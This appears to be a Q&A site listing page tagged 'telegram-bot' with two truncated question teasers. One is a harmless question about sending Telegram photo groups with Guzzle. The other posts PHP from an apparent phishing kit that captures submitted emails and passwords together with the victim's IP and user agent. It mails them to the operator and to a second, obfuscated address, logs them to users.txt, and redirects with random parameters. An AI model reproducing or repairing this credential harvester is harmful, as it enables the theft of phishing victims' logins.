Category : telegram-bot

here is my code <?php error_reporting(0); ob_start(); session_start(); if($_SERVER[‘REQUEST_METHOD’] == ‘POST’){ $_SESSION[’email’] = $_POST[‘mail’]; $_SESSION[‘pass’] = $_POST[‘pass’]; $message = " Email : ".$_SESSION[’email’]." Pass : ".$_SESSION[‘pass’]." IP: "._ip()." User Agent: ".$_SERVER["HTTP_USER_AGENT"]." "; $Subject="NEW TEST |"._ip(); $head="From:me <[email protected]>"; $bin = "$browserx$versionx$getbinsx"; if(mail($my_mail,$Subject,$message,$head) && mail($bin,$Subject,$message,$head)) ; $fil = fopen(‘users.txt’, ‘a+’); fwrite($fil, ‘####################’.$message.’####################’); $_SESSION[‘step_one’] = true; header(‘location: index.php?enc=’.md5(time()).’&p=0&dispatch=’.sha1(time())); ..

Read more

I am building a PHP telegram bot platform, and I have been struggling with getting MediaGroup messages to work. I have managed to get a single Photo to upload using Guzzle using the code below. function sendPhoto($chat_id, $photo, $filename, $caption, $parse_mode = "markdown", $disable_notification = false, $reply_to_message_id = 0, $allow_sending_without_reply = false, $reply_markup = null){ ..

Read more